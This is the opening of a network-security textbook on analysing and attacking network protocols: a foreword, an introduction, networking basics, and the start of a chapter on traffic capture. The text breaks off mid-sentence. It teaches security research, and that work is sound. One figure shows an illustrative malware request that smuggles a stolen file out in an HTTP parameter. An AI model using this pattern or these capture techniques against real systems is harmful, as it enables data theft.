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Foreword      

When I first met James Forshaw, I worked in what 
Popular Science described in 2007 as one of the 
top ten worst jobs in science: a “Microsoft Security 
Grunt.” This was the broad-swath label the magazine 
used for anyone working in the Microsoft Security 
Response Center (MSRC). What positioned our jobs 
as worse than “whale-feces researcher” but somehow better than “elephant 
vasectomist” on this list (so famous among those of us who suffered in 
Redmond, WA, that we made t-shirts) was the relentless drumbeat of 
incoming security bug reports in Microsoft products. 

It was here in MSRC that James, with his keen and creative eye toward 
the uncommon and overlooked, first caught my attention as a security 
strategist. James was the author of some of the most interesting security 
bug reports. This was no small feat, considering the MSRC was receiving 
upwards of 200,000 security bug reports per year from security researchers. 
James was finding not only simple bugs—he had taken a look at the .NET 
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framework and found architecture-level issues. While these architecture-
level bugs were harder to address in a simple patch, they were much more 
valuable to Microsoft and its customers.

Fast-forward to the creation of Microsoft’s first bug bounty programs, 
which I started at the company in June of 2013. We had three programs in 
that initial batch of bug bounties—programs that promised to pay security 
researchers like James cash in exchange for reporting the most serious 
bugs to Microsoft. I knew that for these programs to prove their efficacy, 
we needed high-quality security bugs to be turned in. 

If we built it, there was no guarantee that the bug finders would come. 
We knew we were competing for some of the most highly skilled bug hunt-
ing eyes in the world. Numerous other cash rewards were available, and 
not all of the bug markets were for defense. Nation-states and criminals 
had a well-established offense market for bugs and exploits, and Microsoft 
was relying on the finders who were already coming forward at the rate of 
200,000 bug reports per year for free. The bounties were to focus the atten-
tion of those friendly, altruistic bug hunters on the problems Microsoft 
needed the most help with eradicating.

So of course, I called on James and a handful of others, because I was 
counting on them to deliver the buggy goods. For these first Microsoft bug 
bounties, we security grunts in the MSRC really wanted vulnerabilities for 
Internet Explorer (IE) 11 beta, and we wanted something no software ven-
dor had ever tried to set a bug bounty on before: we wanted to know about 
new exploitation techniques. That latter bounty was known as the Mitigation 
Bypass Bounty, and worth $100,000 at the time.

I remember sitting with James over a beer in London, trying to get 
him excited about looking for IE bugs, when he explained that he’d never 
looked at browser security much before and cautioned me not to expect 
much from him.

James nevertheless turned in four unique sandbox escapes for IE 11 beta. 
Four.
These sandbox escapes were in areas of the IE code that our internal 

teams and private external penetration testers had all missed. Sandbox 
escapes are essential to helping other bugs be more reliably exploitable. 
James earned bounties for all four bugs, paid for by the IE team itself, plus 
an extra $5,000 bonus out of my bounty budget. Looking back, I probably 
should have given him an extra $50,000. Because wow. Not bad for a bug 
hunter who had never looked at web browser security before. 

Just a few months later, I was calling James on the phone from outside 
a Microsoft cafeteria on a brisk autumn day, absolutely breathless, to tell 
him that he had just made history. This particular Microsoft Security Grunt 
couldn’t have been more thrilled to deliver the news that his entry for one 
of the other Microsoft bug bounty programs—the Mitigation Bypass Bounty 
for $100,000—had been accepted. James Forshaw had found a unique new 
way to bypass all the platform defenses using architecture-level flaws in 
the latest operating system and won the very first $100,000 bounty from 
Microsoft. 
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On that phone call, as I recall the conversation, he said he pictured 
me handing him a comically-huge novelty check onstage at Microsoft’s 
internal BlueHat conference. I sent the marketing department a note 
after that call, and in an instant, “James and the Giant Check” became 
part of Microsoft and internet history forever.

What I am certain readers will gain in the following pages of this 
book are pieces of James’s unparalleled brilliance—the same brilliance 
that I saw arching across a bug report or four so many years ago. There 
are precious few security researchers who can find bugs in one advanced 
technology, and fewer still who can find them in more than one with any 
consistency. Then there are people like James Forshaw, who can focus on 
deeper architecture issues with a surgeon’s precision. I hope that those 
reading this book, and any future book by James, treat it like a practical 
guide to spark that same brilliance and creativity in their own work.

In a bug bounty meeting at Microsoft, when the IE team members 
were shaking their heads, wondering how they could have missed some of 
the bugs James reported, I stated simply, “James can see the Lady in the 
Red Dress, as well as the code that rendered her, in the Matrix.” All of 
those around the table accepted this explanation for the kind of mind at 
work in James. He could bend any spoon; and by studying his work, if you 
have an open mind, then so might you.

For all the bug finders in the world, here is your bar, and it is high. 
For all the untold numbers of security grunts in the world, may all your 
bug reports be as interesting and valuable as those supplied by the one 
and only James Forshaw.

Katie Moussouris
Founder and CEO, Luta Security
October 2017
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I ntrod     u ction   

When first introduced, the technology that allowed 
devices to connect to a network was exclusive to large 
companies and governments. Today, most people 
carry a fully networked computing device in their 
pocket, and with the rise of the Internet of Things 
(IoT), you can add devices such as your fridge and 
our home’s security system to this interconnected world. The security of 
these connected devices is therefore increasingly important. Although you 
might not be too concerned about someone disclosing the details of how 
many yogurts you buy, if your smartphone is compromised over the same net-
work as your fridge, you could lose all your personal and financial informa-
tion to a malicious attacker.

This book is named Attacking Network Protocols because to find secu-
rity vulnerabilities in a network-connected device, you need to adopt the 
mind-set of the attacker who wants to exploit those weaknesses. Network 
protocols communicate with other devices on a network, and because these 
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protocols must be exposed to a public network and often don’t undergo the 
same level of scrutiny as other components of a device, they’re an obvious 
attack target.

Why Read This Book?
Many books discuss network traffic capture for the purposes of diagnostics 
and basic network analysis, but they don’t focus on the security aspects of 
the protocols they capture. What makes this book different is that it focuses 
on analyzing custom protocols to find security vulnerabilities. 

This book is for those who are interested in analyzing and attacking 
network protocols but don’t know where to start. The chapters will guide you 
through learning techniques to capture network traffic, performing analy-
sis of the protocols, and discovering and exploiting security vulnerabilities. 
The book provides background information on networking and network 
security, as well as practical examples of protocols to analyze.

Whether you want to attack network protocols to report security vulner-
abilities to an application’s vendor or just want to know how your latest IoT 
device communicates, you’ll find several topics of interest.

What’s in This Book?
This book contains a mix of theoretical and practical chapters. For the 
practical chapters, I’ve developed and made available a networking library 
called Canape Core, which you can use to build your own tools for protocol 
analysis and exploitation. I’ve also provided an example networked applica-
tion called SuperFunkyChat, which implements a user-to-user chat protocol. 
By following the discussions in the chapters, you can use the example appli-
cation to learn the skills of protocol analysis and attack the sample network 
protocols. Here is a brief breakdown of each chapter:

Chapter 1: The Basics of Networking
This chapter describes the basics of computer networking with a particu-
lar focus on TCP/IP, which forms the basis of application-level network 
protocols. Subsequent chapters assume that you have a good grasp of the 
network basics. This chapter also introduces the approach I use to model 
application protocols. The model breaks down the application protocol 
into flexible layers and abstracts complex technical detail, allowing you 
to focus on the bespoke parts of the protocol you’re analyzing.

Chapter 2: Capturing Application Traffic
This chapter introduces the concepts of passive and active capture of 
network traffic, and it’s the first chapter to use the Canape Core net-
work libraries for practical tasks.
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Chapter 3: Network Protocol Structures
This chapter contains details of the internal structures that are common 
across network protocols, such as the representation of numbers or 
human-readable text. When you’re analyzing captured network traf-
fic, you can use this knowledge to quickly identify common structures, 
speeding up your analysis.

Chapter 4: Advanced Application Traffic Capture
This chapter explores a number of more advanced capture techniques 
that complement the examples in Chapter 2. The advanced capture 
techniques include configuring Network Address Translation to redi-
rect traffic of interest and spoofing the address resolution protocol. 

Chapter 5: Analysis from the Wire
This chapter introduces methods for analyzing captured network traffic 
using the passive and active techniques described in Chapter 2. In this 
chapter, we begin using the SuperFunkyChat application to generate 
example traffic.

Chapter 6: Application Reverse Engineering
This chapter describes techniques for reverse engineering network-
connected programs. Reverse engineering allows you to analyze a 
protocol without needing to capture example traffic. These methods 
also help to identify how custom encryption or obfuscation is imple-
mented so you can better analyze traffic you’ve captured.

Chapter 7: Network Protocol Security
This chapter provides background information on techniques and cryp-
tographic algorithms used to secure network protocols. Protecting the 
contents of network traffic from disclosure or tampering as it travels 
over public networks is of the utmost importance for network protocol 
security. 

Chapter 8: Implementing the Network Protocol
This chapter explains techniques for implementing the application net-
work protocol in your own code so you can test the protocol’s behavior 
to find security weaknesses.

Chapter 9: The Root Causes of Vulnerabilities
This chapter describes common security vulnerabilities you’ll encounter 
in a network protocol. When you understand the root causes of vulner-
abilities, you can more easily identify them during analysis. 

Chapter 10: Finding and Exploiting Security Vulnerabilities
This chapter describes processes for finding security vulnerabilities 
based on the root causes in Chapter 9 and demonstrates a number of 
ways of exploiting them, including developing your own shell code and 
bypassing exploit mitigations through return-oriented programming.
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Appendix: Network Protocol Analysis Toolkit
In the appendix, you’ll find descriptions of some of the tools I com-
monly use when performing network protocol analysis. Many of the 
tools are described briefly in the main body of the text as well.

How to Use This Book
If you want to start with a refresher on the basics of networking, 
read Chapter 1 first. When you’re familiar with the basics, proceed to 
Chapters 2, 3, and 5 for practical experience in capturing network traffic 
and learning the network protocol analysis process.

With the knowledge of the principles of network traffic capture and 
analysis, you can then move on to Chapters 7 through 10 for practical infor-
mation on how to find and exploit security vulnerabilities in these protocols. 
Chapters 4 and 6 contain more advanced information about additional cap-
ture techniques and application reverse engineering, so you can read them 
after you’ve read the other chapters if you prefer.

For the practical examples, you’ll need to install .NET Core (https://
www.microsoft.com/net/core/), which is a cross-platform version of the .NET 
runtime from Microsoft that works on Windows, Linux, and macOS. You 
can then download releases for Canape Core from https://github.com/tyranid/
CANAPE.Core/releases/ and SuperFunkyChat from https://github.com/tyranid/
ExampleChatApplication/releases/; both use .NET Core as the runtime. Links to 
each site are available with the book’s resources at https://www.nostarch.com/
networkprotocols/.

To execute the example Canape Core scripts, you’ll need to use the 
CANAPE.Cli application, which will be in the release package downloaded 
from the Canape Core Github repository. Execute the script with the follow-
ing command line, replacing script.csx with the name of the script you want 
to execute.

dotnet exec CANAPE.Cli.dll script.csx 

All example listings for the practical chapters as well as packet captures 
are available on the book’s page at https://www.nostarch.com/networkprotocols/. 
It’s best to download these example listings before you begin so you can fol-
low the practical chapters without having to enter a large amount of source 
code manually.

Contact Me
I’m always interested in receiving feedback, both positive and negative, on 
my work, and this book is no exception. You can email me at attacking.network 
.protocols@gmail.com. You can also follow me on Twitter @tiraniddo or subscribe 
to my blog at https://tyranidslair.blogspot.com/ where I post some of my latest 
advanced security research.

https://github.com/tyranid/CANAPE.Core/releases/
https://github.com/tyranid/CANAPE.Core/releases/
https://github.com/tyranid/ExampleChatApplication/releases/
https://github.com/tyranid/ExampleChatApplication/releases/
https://www.nostarch.com/networkprotocols/
https://www.nostarch.com/networkprotocols/


1
T he   B asics      o f  N etworking       

To attack network protocols, you need to understand 
the basics of computer networking. The more you 
understand how common networks are built and func-
tion, the easier it will be to apply that knowledge to 
capturing, analyzing, and exploiting new protocols.

Throughout this chapter, I’ll introduce basic network concepts you’ll 
encounter every day when you’re analyzing network protocols. I’ll also lay 
the groundwork for a way to think about network protocols, making it easier 
to find previously unknown security issues during your analysis.

Network Architecture and Protocols
Let’s start by reviewing some basic networking terminology and asking the 
fundamental question: what is a network? A network is a set of two or more 
computers connected together to share information. It’s common to refer 
to each connected device as a node on the network to make the descrip-
tion applicable to a wider range of devices. Figure 1-1 shows a very simple 
example.
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Workstation
node

Mainframe
node

Network

Server
node

Figure 1-1: A simple network of three nodes

The figure shows three nodes connected with a common network. Each 
node might have a different operating system or hardware. But as long as 
each node follows a set of rules, or network protocol, it can communicate with 
the other nodes on the network. To communicate correctly, all nodes on a 
network must understand the same network protocol.

A network protocol serves many functions, including one or more of 
the following:

Maintaining session state  Protocols typically implement mechanisms 
to create new connections and terminate existing connections.

Identifying nodes through addressing  Data must be transmitted to 
the correct node on a network. Some protocols implement an address-
ing mechanism to identify specific nodes or groups of nodes.

Controlling flow  The amount of data transferred across a network 
is limited. Protocols can implement ways of managing data flow to 
increase throughput and reduce latency.

Guaranteeing the order of transmitted data  Many networks do not 
guarantee that the order in which the data is sent will match the order 
in which it’s received. A protocol can reorder the data to ensure it’s 
delivered in the correct order.

Detecting and correcting errors  Many networks are not 100 percent 
reliable; data can become corrupted. It’s important to detect corrup-
tion and, ideally, correct it.

Formatting and encoding data  Data isn’t always in a format suitable 
for transmitting on the network. A protocol can specify ways of encod-
ing data, such as encoding English text into binary values.

The Internet Protocol Suite 
TCP/IP is the de facto protocol that modern networks use. Although you can 
think of TCP/IP as a single protocol, it’s actually a combination of two proto-
cols: the Transmission Control Protocol (TCP) and the Internet Protocol (IP). These 
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two protocols form part of the Internet Protocol Suite (IPS), a conceptual model 
of how network protocols send network traffic over the internet that breaks 
down network communication into four layers, as shown in Figure 1-2. 

Application layer

Transport layer

Internet layer

Link layer

Internet Protocol Suite External connectionsExample protocols

HTTP, SMTP, DNS

TCP, UDP

IPv4, IPv6

Ethernet, PPP

User application

Physical network

Figure 1-2: Internet Protocol Suite layers

These four layers form a protocol stack. The following list explains each 
layer of the IPS:

Link layer (layer 1) This layer is the lowest level and describes the 
physical mechanisms used to transfer information between nodes on a 
local network. Well-known examples include Ethernet (both wired and 
wireless) and Point-to-Point Protocol (PPP). 

Internet layer (layer 2) This layer provides the mechanisms for 
addressing network nodes. Unlike in layer 1, the nodes don’t have to 
be located on the local network. This level contains the IP; on modern 
networks, the actual protocol used could be either version 4 (IPv4) or 
version 6 (IPv6).

Transport layer (layer 3) This layer is responsible for connections 
between clients and servers, sometimes ensuring the correct order of 
packets and providing service multiplexing. Service multiplexing allows 
a single node to support multiple different services by assigning a dif-
ferent number for each service; this number is called a port. TCP and 
the User Datagram Protocol (UDP) operate on this layer. 

Application layer (layer 4) This layer contains network protocols, such 
as the HyperText Transport Protocol (HTTP), which transfers web page con-
tents; the Simple Mail Transport Protocol (SMTP), which transfers email; 
and the Domain Name System (DNS) protocol, which converts a name to an 
address of a node on the network. Throughout this book, we’ll focus 
primarily on this layer.
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Each layer interacts only with the layer above and below it, but there must 
be some external interactions with the stack. Figure 1-2 shows two external 
connections. The link layer interacts with a physical network connection, 
transmitting data in a physical medium, such as pulses of electricity or light. 
The application layer interacts with the user application: an application is a 
collection of related functionality that provides a service to a user. Figure 1-3 
shows an example of an application that processes email. The service pro-
vided by the mail application is the sending and receiving of messages over 
a network.

User interface
HTML rendering

Mail application

Content parsers
Text, HTML, JPEG

Network communication
SMTP, POP3, IMAP

Mail server

Network

Figure 1-3: Example mail application

Typically, applications contain the following components:

Network communication  This component communicates over the 
network and processes incoming and outgoing data. For a mail applica-
tion, the network communication is most likely a standard protocol, 
such as SMTP or POP3.

Content parsers  Data transferred over a network usually contains con-
tent that must be extracted and processed. Content might include tex-
tual data, such as the body of an email, or it might be pictures or video.

User interface (UI)  The UI allows the user to view received emails 
and to create new emails for transmission. In a mail application, the UI 
might display emails using HTML in a web browser. 

Note that the user interacting with the UI doesn’t have to be a human 
being. It could be another application that automates the sending and 
receiving of emails through a command line tool.

Data Encapsulation
Each layer in the IPS is built on the one below, and each layer is able to 
encapsulate the data from the layer above so it can move between the 
layers. Data transmitted by each layer is called a protocol data unit (PDU). 

Headers, Footers, and Addresses
The PDU in each layer contains the payload data that is being transmit-
ted. It’s common to prefix a header—which contains information required 
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for the payload data to be transmitted, such as the addresses of the source 
and destination nodes on the network—to the payload data. Sometimes a 
PDU also has a footer that is suffixed to the payload data and contains values 
needed to ensure correct transmission, such as error-checking information. 
Figure 1-4 shows how the PDUs are laid out in the IPS.

Source
port

Destination
address

Destination
port

�

�

�

TCP header
TCP payload

PDU

Layer 3:
Session layer

Application payload

PDU

Layer 4:
Application layer

Source
address

IP header
IP payload

PDU

Layer 2:
Internet layer

Destination
address

Source
address

Ethernet header
Ethernet payload

Protocol data unit (PDU)

Layer 1:
Link layerFooter

Figure 1-4: IPS data encapsulation

The TCP header contains a source and destination port number . 
These port numbers allow a single node to have multiple unique network 
connections. Port numbers for TCP (and UDP) range from 0 to 65535. 
Most port numbers are assigned as needed to new connections, but some 
numbers have been given special assignments, such as port 80 for HTTP. 
(You can find a current list of assigned port numbers in the /etc/services file 
on most Unix-like operating systems.) A TCP payload and header are com-
monly called a segment, whereas a UDP payload and header are commonly 
called a datagram.

The IP protocol uses a source and a destination address . The desti-
nation address allows the data to be sent to a specific node on the network. 
The source address allows the receiver of the data to know which node sent 
the data and allows the receiver to reply to the sender. 

IPv4 uses 32-bit addresses, which you’ll typically see written as 
four numbers separated by dots, such as 192.168.10.1. IPv6 uses 128-bit 
addresses, because 32-bit addresses aren’t sufficient for the number of 
nodes on modern networks. IPv6 addresses are usually written as hexa-
decimal numbers separated by colons, such as fe80:0000:0000:0000 
:897b:581e:44b0:2057. Long strings of 0000 numbers are collapsed into 
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two colons. For example, the preceding IPv6 address can also be written 
as fe80::897b:581e:44b0:2057. An IP payload and header are commonly 
called a packet.

Ethernet also contains source and destination addresses . Ethernet 
uses a 48-bit value called a Media Access Control (MAC) address, which is 
typically set during manufacture of the Ethernet adapter. You’ll usually  
see MAC addresses written as a series of hexadecimal numbers separated 
by dashes or colons, such as 0A-00-27-00-00-0E. The Ethernet payload, 
including the header and footer, is commonly referred to as a frame.

Data Transmission
Let’s briefly look at how data is transferred from one node to another using 
the IPS data encapsulation model. Figure 1-5 shows a simple Ethernet net-
work with three nodes. 

192.1.1.101
MAC: 00-11-22-33-44-55

192.1.1.50
MAC: 66-77-88-99-AA-BB

192.1.1.100

�

�

�

Figure 1-5: A simple Ethernet network

In this example, the node at  with the IP address 192.1.1.101 wants 
to send data using the IP protocol to the node at  with the IP address 
192.1.1.50. (The switch device  forwards Ethernet frames between all 
nodes on the network. The switch doesn’t need an IP address because 
it operates only at the link layer.) Here is what takes place to send data 
between the two nodes:

1. The operating system network stack node  encapsulates the applica-
tion and transport layer data and builds an IP packet with a source
address of 192.1.1.101 and a destination address of 192.1.1.50.

2. The operating system can at this point encapsulate the IP data as an
Ethernet frame, but it might not know the MAC address of the target
node. It can request the MAC address for a particular IP address using
the Address Resolution Protocol (ARP), which sends a request to all
nodes on the network to find the MAC address for the destination IP
address.
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3.	 Once the node at  receives an ARP response, it can build the frame, 
setting the source address to the local MAC address of 00-11-22-33-44​
-55 and the destination address to 66-77-88-99-AA-BB. The new frame 
is transmitted on the network and is received by the switch .

4.	 The switch forwards the frame to the destination node, which 
unpacks the IP packet and verifies that the destination IP address 
matches. Then the IP payload data is extracted and passes up the 
stack to be received by the waiting application.

Network Routing
Ethernet requires that all nodes be directly connected to the same local 
network. This requirement is a major limitation for a truly global network 
because it’s not practical to physically connect every node to every other 
node. Rather than require that all nodes be directly connected, the source 
and destination addresses allow data to be routed over different networks 
until the data reaches the desired destination node, as shown in Figure 1-6.

192.1.1.101
MAC: 00-11-22-33-44-55

192.1.1.50

192.1.1.100

�
�

�

200.0.1.50
MAC: 66-77-88-99-AA-BB

Ethernet network 1

192.1.1.1

Router

200.0.1.1

Ethernet network 2

200.0.1.10

200.0.1.100

Figure 1-6: An example of a routed network connecting two Ethernet networks

Figure 1-6 shows two Ethernet networks, each with separate IP network 
address ranges. The following description explains how the IP uses this 
model to send data from the node at  on network 1 to the node at  on 
network 2.

1.	 The operating system network stack node  encapsulates the applica-
tion and transport layer data, and it builds an IP packet with a source 
address of 192.1.1.101 and a destination address of 200.0.1.50.

2.	 The network stack needs to send an Ethernet frame, but because the 
destination IP address does not exist on any Ethernet network that the 
node is connected to, the network stack consults its operating system 
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routing table. In this example, the routing table contains an entry for the 
IP address 200.0.1.50. The entry indicates that a router  on IP address 
192.1.1.1 knows how to get to that destination address. 

3.	 The operating system uses ARP to look up the router’s MAC address at 
192.1.1.1, and the original IP packet is encapsulated within the Ethernet 
frame with that MAC address. 

4.	 The router receives the Ethernet frame and unpacks the IP packet. 
When the router checks the destination IP address, it determines that 
the IP packet is not destined for the router but for a different node on 
another connected network. The router looks up the MAC address of 
200.0.1.50, encapsulates the original IP packet into the new Ethernet 
frame, and sends it on to network 2. 

5.	 The destination node receives the Ethernet frame, unpacks the IP 
packet, and processes its contents.

This routing process might be repeated multiple times. For example, if 
the router was not directly connected to the network containing the node 
200.0.1.50, it would consult its own routing table and determine the next 
router it could send the IP packet to. 

Clearly, it would be impractical for every node on the network to know 
how to get to every other node on the internet. If there is no explicit rout-
ing entry for a destination, the operating system provides a default routing 
table entry, called the default gateway, which contains the IP address of a 
router that can forward IP packets to their destinations.

My Model for Network Protocol Analysis
The IPS describes how network communication works; however, for analysis 
purposes, most of the IPS model is not relevant. It’s simpler to use my model 
to understand the behavior of an application network protocol. My model 
contains three layers, as shown in Figure 1-7, which illustrates how I would 
analyze an HTTP request.

Here are the three layers of my model:

Content layer  Provides the meaning of what is being communicated. 
In Figure 1-7, the meaning is making an HTTP request for the file 
image.jpg.

Encoding layer  Provides rules to govern how you represent your con-
tent. In this example, the HTTP request is encoded as an HTTP GET 
request, which specifies the file to retrieve.

Transport layer  Provides rules to govern how data is transferred 
between the nodes. In the example, the HTTP GET request is sent 
over a TCP/IP connection to port 80 on the remote node.
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Content layer
(File request)

Encoding layer
(HTTP)

Transport layer
(TCP/IP)

Protocol model

I would like to get the file image.jpg

GET /image.jpg HTTP/1.1

4500 0043 50d1 4000 8006 0000 c0a8 0a6d
d83a d544 40e0 0050 5dff a4e6 6ac2 4254
5018 0102 78ca 0000 4745 5420 2f69 6d61
6765 2e6a 7067 2048 5454 502f 312e 310d
0a0d 0a                ...

Figure 1-7: My conceptual protocol model

Splitting the model this way reduces complexity with application-specific 
protocols because it allows us to filter out details of the network protocol that 
aren’t relevant. For example, because we don’t really care how TCP/IP is sent 
to the remote node (we take for granted that it will get there somehow), we 
simply treat the TCP/IP data as a binary transport that just works.

To understand why the protocol model is useful, consider this protocol 
example: imagine you’re inspecting the network traffic from some malware. 
You find that the malware uses HTTP to receive commands from the opera-
tor via the server. For example, the operator might ask the malware to enu-
merate all files on the infected computer’s hard drive. The list of files can 
be sent back to the server, at which point the operator can request a specific 
file to be uploaded. 

If we analyze the protocol from the perspective of how the opera-
tor would interact with the malware, such as by requesting a file to 
be uploaded, the new protocol breaks down into the layers shown in 
Figure 1-8.

Content layer
(Send file request)

Encoding layer
(Simple text-based command)

Transport layer
(HTTP and TCP/IP)

Protocol model

Sending file secret.doc with content 1122..

SEND secret.doc 1122..

GET /image.jpg?e=SEND%20secret.doc%11%22 HTTP/1.1

Figure 1-8: The conceptual model for a malware protocol using HTTP
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The following list explains each layer of the new protocol model:

Content layer  The malicious application is sending a stolen file called 
secret.doc to the server.

Encoding layer  The encoding of the command to send the stolen file 
is a simple text string with a command SEND followed by the filename 
and the file data.

Transport layer  The protocol uses an HTTP request parameter to 
transport the command. It uses the standard percent-encoding mecha-
nism, making it a legal HTTP request.

Notice in this example that we don’t consider the HTTP request being 
sent over TCP/IP; we’ve combined the encoding and transport layer in 
Figure 1-7 into just the transport layer in Figure 1-8. Although the mal-
ware still uses lower-level protocols, such as TCP/IP, these protocols are 
not important to the analysis of the malware command to send a file. The 
reason it’s not important is that we can consider HTTP over TCP/IP as a 
single transport layer that just works and focus specifically on the unique 
malware commands.

By narrowing our scope to the layers of the protocol that we need 
to analyze, we avoid a lot of work and focus on the unique aspects of the 
protocol. On the other hand, if we were to analyze this protocol using the 
layers in Figure 1-7, we might assume that the malware was simply request-
ing the file image.jpg, because it would appear as though that was all the 
HTTP request was doing.

Final Words
This chapter provided a quick tour of the networking basics. I discussed 
the IPS, including some of the protocols you’ll encounter in real networks, 
and described how data is transmitted between nodes on a local network as 
well as remote networks through routing. Additionally, I described a way to 
think about application network protocols that should make it easier for you 
to focus on the unique features of the protocol to speed up its analysis.

In Chapter 2, we’ll use these networking basics to guide us in captur-
ing network traffic for analysis.  The goal of capturing network traffic is 
to access the data you need to start the analysis process, identify what pro-
tocols are being used, and ultimately discover security issues that you can 
exploit to compromise the applications using these protocols.
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Surprisingly, capturing useful traffic can be a challeng-
ing aspect of protocol analysis. This chapter describes 
two different capture techniques: passive and active. 
Passive capture doesn’t directly interact with the traf-
fic. Instead, it extracts the data as it travels on the wire, 
which should be familiar from tools like Wireshark. 
You’ll find that different applications provide different mechanisms (which 
have their own advantages and disadvantages) to redirect traffic. Active 
capture interferes with traffic between a client application and the server; 
this has great power but can cause some complications. You can think of 
active capture in terms of proxies or even a man-in-the-middle attack. Let’s 
look at both active and passive techniques in more depth.
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Passive Network Traffic Capture
Passive capture is a relatively easy technique: it doesn’t typically require 
any specialist hardware, nor do you usually need to write your own code. 
Figure 2-1 shows a common scenario: a client and server communicating 
via Ethernet over a network. 

Passive capture device

Client application Server application

Figure 2-1: An example of passive network capture

Passive network capture can take place either on the network by tap-
ping the traffic as it passes in some way or by sniffing directly on either the 
client or server host. 

Quick Primer for Wireshark
Wireshark is perhaps the most popular packet-sniffing application available. 
It’s cross platform and easy to use, and it comes with many built-in protocol 
analysis features. In Chapter 5 you’ll learn how to write a dissector to aid 
in protocol analysis, but for now, let’s set up Wireshark to capture IP traffic 
from the network.

To capture traffic from an Ethernet interface (wired or wireless), the 
capturing device must be in promiscuous mode. A device in promiscuous mode 
receives and processes any Ethernet frame it sees, even if that frame wasn’t 
destined for that interface. Capturing an application running on the same 
computer is easy: just monitor the outbound network interface or the local 
loopback interface (better known as localhost). Otherwise, you might need 
to use networking hardware, such as a hub or a configured switch, to ensure 
traffic is sent to your network interface. 

Figure 2-2 shows the default view when capturing traffic from an 
Ethernet interface. 
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Figure 2-2: The default Wireshark view

There are three main view areas. Area u shows a timeline of raw packets 
captured off the network. The timeline provides a list of the source and 
destination IP addresses as well as decoded protocol summary information. 
Area v provides a dissected view of the packet, separated into distinct pro-
tocol layers that correspond to the OSI network stack model. Area w shows 
the captured packet in its raw form. 

The TCP network protocol is stream based and designed to recover 
from dropped packets or data corruption. Due to the nature of networks 
and IP, there is no guarantee that packets will be received in a particular 
order. Therefore, when you are capturing packets, the timeline view might 
be difficult to interpret. Fortunately, Wireshark offers dissectors for known 
protocols that will normally reassemble the entire stream and provide all 
the information in one place. For example, highlight a packet in a TCP con-
nection in the timeline view and then select Analyze4Follow TCP Stream 
from the main menu. A dialog similar to Figure 2-3 should appear. For pro-
tocols without a dissector, Wireshark can decode the stream and present it 
in an easy-to-view dialog.
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Figure 2-3: Following a TCP stream

Wireshark is a comprehensive tool, and covering all of its features is 
beyond the scope of this book. If you’re not familiar with it, obtain a good 
reference, such as Practical Packet Analysis, 3rd Edition (No Starch Press, 
2017), and learn many of its useful features. Wireshark is indispensable for 
analyzing application network traffic, and it’s free under the General Public 
License (GPL). 

Alternative Passive Capture Techniques
Sometimes using a packet sniffer isn’t appropriate, for example, in situa-
tions when you don’t have permission to capture traffic. You might be doing 
a penetration test on a system with no administrative access or a mobile 
device with a limited privilege shell. You might also just want to ensure that 
you look at traffic only for the application you’re testing. That’s not always 
easy to do with packet sniffing unless you correlate the traffic based on 
time. In this section, I’ll describe a few techniques for extracting network 
traffic from a local application without using a packet-sniffing tool. 

System Call Tracing
Many modern operating systems provide two modes of execution. Kernel 
mode runs with a high level of privilege and contains code implementing 
the OS’s core functionality. User mode is where everyday processes run. The 
kernel provides services to user mode by exporting a collection of special 
system calls (see Figure 2-4), allowing users to access files, create processes—
and most important for our purposes—connect to networks. 
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Figure 2-4: An example of user-to-kernel network communication via  
system calls

When an application wants to connect to a remote server, it issues 
special system calls to the OS’s kernel to open a connection. The app then 
reads and writes the network data. Depending on the operating system run-
ning your network applications, you can monitor these calls directly to pas-
sively extract data from an application.

Most Unix-like systems implement system calls resembling the 
Berkeley Sockets model for network communication. This isn’t surpris-
ing, because the IP protocol was originally implemented in the Berkeley 
Software Distribution (BSD) 4.2 Unix operating system. This socket imple-
mentation is also part of POSIX, making it the de facto standard. Table 2-1 
shows some of the more important system calls in the Berkeley Sockets API.

Table 2-1: Common Unix System Calls for Networking

Name Description

socket Creates a new socket file descriptor.
connect Connects a socket to a known IP address and port.
bind Binds the socket to a local known IP address and port.

recv, read, recvfrom Receives data from the network via the socket. The generic 
function read is for reading from a file descriptor, whereas 
recv and recvfrom are specific to the socket’s API.

send, write, sendfrom Sends data over the network via the socket.
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To learn more about how these system calls work, a great resource is 
The TCP/IP Guide (No Starch Press, 2005). Plenty of online resources are 
also available, and most Unix-like operating systems include manuals you 
can view at a terminal using the command man 2 syscall_name. Now let’s look 
at how to monitor system calls.

The strace Utility on Linux
In Linux, you can directly monitor system calls from a user program with-
out special permissions, unless the application you want to monitor runs as 
a privileged user. Many Linux distributions include the handy utility strace, 
which does most of the work for you. If it isn’t installed by default, down-
load it from your distribution’s package manager or compile it from source. 

Run the following command, replacing /path/to/app with the applica-
tion you’re testing and args with the necessary parameters, to log the net-
work system calls used by that application:

$ strace –e trace=network,read,write /path/to/app args

Let’s monitor a networking application that reads and writes a few strings 
and look at the output from strace. Listing 2-1 shows four log entries (extra-
neous logging has been removed from the listing for brevity).

$ strace -e trace=network,read,write customapp
--snip--

u socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
v connect(3, {sa_family=AF_INET, sin_port=htons(5555),    

                     sin_addr=inet_addr("192.168.10.1")}, 16) = 0
w write(3, "Hello World!\n", 13)          = 13
x read(3, "Boo!\n", 2048)                 = 5

Listing 2-1: Example output of the strace utility

The first entry u creates a new TCP socket, which is assigned the 
handle 3. The next entry v shows the connect system call used to make 
a TCP connection to IP address 192.168.10.1 on port 5555. The application 
then writes the string Hello World! w before reading out a string Boo! x. The 
output shows it’s possible to get a good idea of what an application is doing 
at the system call level using this utility, even if you don’t have high levels of 
privilege. 

Monitoring Network Connections with DTrace
DTrace is a very powerful tool available on many Unix-like systems, includ-
ing Solaris (where it was originally developed), macOS, and FreeBSD. It 
allows you to set system-wide probes on special trace providers, including 
system calls. You configure DTrace by writing scripts in a language with 
a C-like syntax. For more details on this tool, refer to the DTrace Guide 
online at http://www.dtracebook.com/index.php/DTrace_Guide.
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Listing 2-2 shows an example of a script that monitors outbound IP con-
nections using DTrace.

traceconnect.d	 /* traceconnect.d - A simple DTrace script to monitor a connect system call */
u struct sockaddr_in {

    short            sin_family; 
    unsigned short   sin_port;  
    in_addr_t        sin_addr;
    char             sin_zero[8];
}; 

v syscall::connect:entry 
w /arg2 == sizeof(struct sockaddr_in)/

{
    x addr = (struct sockaddr_in*)copyin(arg1, arg2);
    y printf("process:'%s' %s:%d", execname, inet_ntop(2, &addr->sin_addr), 

      ntohs(addr->sin_port));
}

Listing 2-2: A simple DTrace script to monitor a connect system call

This simple script monitors the connect system call and outputs IPv4 TCP 
and UDP connections. The system call takes three parameters, represented 
by arg0, arg1, and arg2 in the DTrace script language, that are initialized 
